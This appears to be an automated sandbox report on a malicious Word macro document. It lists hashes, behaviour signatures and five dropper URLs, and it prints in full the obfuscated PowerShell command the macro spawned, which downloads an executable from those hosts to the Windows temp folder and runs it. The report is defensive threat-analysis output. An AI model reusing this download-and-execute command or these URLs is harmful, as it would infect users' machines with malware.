Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    12-05-2024 19:03

General

  • Target

    3ba00216edcab9b42377acc49ba1baae_JaffaCakes118.doc

  • Size

    265KB

  • MD5

    3ba00216edcab9b42377acc49ba1baae

  • SHA1

    8acf04cc03b1a81b96d6793af777f8a3abc10c79

  • SHA256

    a27260a1fe5c659000bca59b786be94ae93ee51494d4d455fef197b6857c8de1

  • SHA512

    bd80bcb056854f1bb8d52d5edcab54d31f0dd7d4cc7a219efa9c01a618f1c869bb8ff71d47a456ebfeb2e678f369e7a0c12fda51fea3f8672361b4218239bf35

  • SSDEEP

    3072:0khgqkhgACSQKaSx+SbtYqS4fvS7GQRbSVuz1QzC9klhxztsZ5QPwYTXjdOSrv:0CwQK3RpVS7G4SVuz1QzLhxztsZGPw0

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC

exe.dropper

http://antigua.aguilarnoticias.com/nYZZcHxoYdA

exe.dropper

http://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA

exe.dropper

http://mywedphoto.ru/SPcBpzOvD6_bogkPa

exe.dropper

http://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3ba00216edcab9b42377acc49ba1baae_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2064
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell $idIgw8 = '$zMbv9jt0l = new-obj15464.589749099ect -com15464.589749099obj15464.589749099ect wsc15464.589749099ript.she15464.589749099ll;$ILTY2 = new-object sys15464.589749099tem.net.web15464.589749099client;$rEAav7Xix = new-object random;$YiwXfglRS = \"15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://www.hopeintlschool.org/FQ9AFMoF8GZKwyVvg_GC,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://antigua.aguilarnoticias.com/nYZZcHxoYdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://teatrul-de-poveste.ro/wp-content/themes/wcFvmRjqfPbdA,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://mywedphoto.ru/SPcBpzOvD6_bogkPa,15464.589749099h15464.589749099t15464.589749099t15464.589749099p15464.589749099://epl.tmweb.ru/QBSLvgDEuAXTt_ETNrGAVki\".spl15464.589749099it(\",\");$iWybG3KDH = $rEAav7Xix.nex15464.589749099t(1, 65536);$jPBYO2 = \"c:\win15464.589749099dows\temp\put15464.589749099ty.exe\";for15464.589749099each($MOrNXe14G in $YiwXfglRS){try{$ILTY2.dow15464.589749099nlo15464.589749099adf15464.589749099ile($MOrNXe14G.ToS15464.589749099tring(), $jPBYO2);sta15464.589749099rt-pro15464.589749099cess $jPBYO2;break;}catch{}}'.replace('15464.589749099', $MGFnZb);$Wj3yxlHrU = '';iex($idIgw8);
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2956
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2432

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      30af117db613ff437c5640697bc8f4de

      SHA1

      4e5308f9d67d913467f41c49b5be1dd709eb77d6

      SHA256

      95dbd8c3bbe7f7c6347553abd5570f24eb05fc320a892c929d9b14a33cab88f2

      SHA512

      c217a0450999f8bddda011e7b01509c7f5398661f5119c86bd4ca0ee23e0b6043178ba48f363f9f1ba49777a7e38d8d5cc1cf15cff4b9178d6d9463e9af22bae

    • memory/2064-18-0x0000000006000000-0x0000000006100000-memory.dmp

      Filesize

      1024KB

    • memory/2064-16-0x0000000006000000-0x0000000006100000-memory.dmp

      Filesize

      1024KB

    • memory/2064-6-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2064-7-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2064-8-0x0000000005E80000-0x0000000005F80000-memory.dmp

      Filesize

      1024KB

    • memory/2064-9-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2064-2-0x000000007113D000-0x0000000071148000-memory.dmp

      Filesize

      44KB

    • memory/2064-0-0x000000002F181000-0x000000002F182000-memory.dmp

      Filesize

      4KB

    • memory/2064-19-0x0000000006000000-0x0000000006100000-memory.dmp

      Filesize

      1024KB

    • memory/2064-32-0x000000007113D000-0x0000000071148000-memory.dmp

      Filesize

      44KB

    • memory/2064-33-0x0000000000490000-0x0000000000590000-memory.dmp

      Filesize

      1024KB

    • memory/2064-34-0x0000000006000000-0x0000000006100000-memory.dmp

      Filesize

      1024KB

    • memory/2064-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2064-50-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2064-51-0x000000007113D000-0x0000000071148000-memory.dmp

      Filesize

      44KB